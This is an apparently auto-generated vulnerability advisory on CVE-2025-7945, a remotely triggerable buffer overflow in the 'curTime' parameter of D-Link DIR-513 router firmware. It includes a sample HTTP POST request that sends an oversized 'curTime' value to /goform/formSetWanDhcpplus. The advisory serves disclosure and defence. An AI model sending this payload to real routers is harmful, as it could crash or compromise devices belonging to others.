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CVE-2025-7945: Critical Buffer Overflow Vulnerability in D-Link DIR-513

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Overview

A critical vulnerability has been identified in D-Link DIR-513 routers up to the 20190831 version. This vulnerability is associated with the function formSetWanDhcpplus of the file /goform/formSetWanDhcpplus, and the manipulation of the argument ‘curTime’ can lead to a buffer overflow. This flaw is especially alarming as it can be exploited remotely, potentially leading to system compromise or data leakage. It primarily affects products that are no longer supported by D-Link, increasing the risk for users with outdated devices.

Vulnerability Summary

CVE ID: CVE-2025-7945
Severity: Critical (CVSS 8.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

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Product | Affected Versions

D-Link DIR-513 | Up to 20190831

How the Exploit Works

The vulnerability lies within the function formSetWanDhcpplus of the file /goform/formSetWanDhcpplus. In this function, the ‘curTime’ argument is mishandled, leading to a buffer overflow. An attacker can exploit this flaw by sending a specifically crafted request that manipulates the ‘curTime’ parameter. This could cause the system to overflow its buffer, leading to unexpected behavior, potential system crash, and even execution of arbitrary code. This exploit can be initiated remotely, and it does not require user interaction or privileges.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This consists of a HTTP request with a manipulated ‘curTime’ parameter:
“`http
POST /goform/formSetWanDhcpplus HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
curTime=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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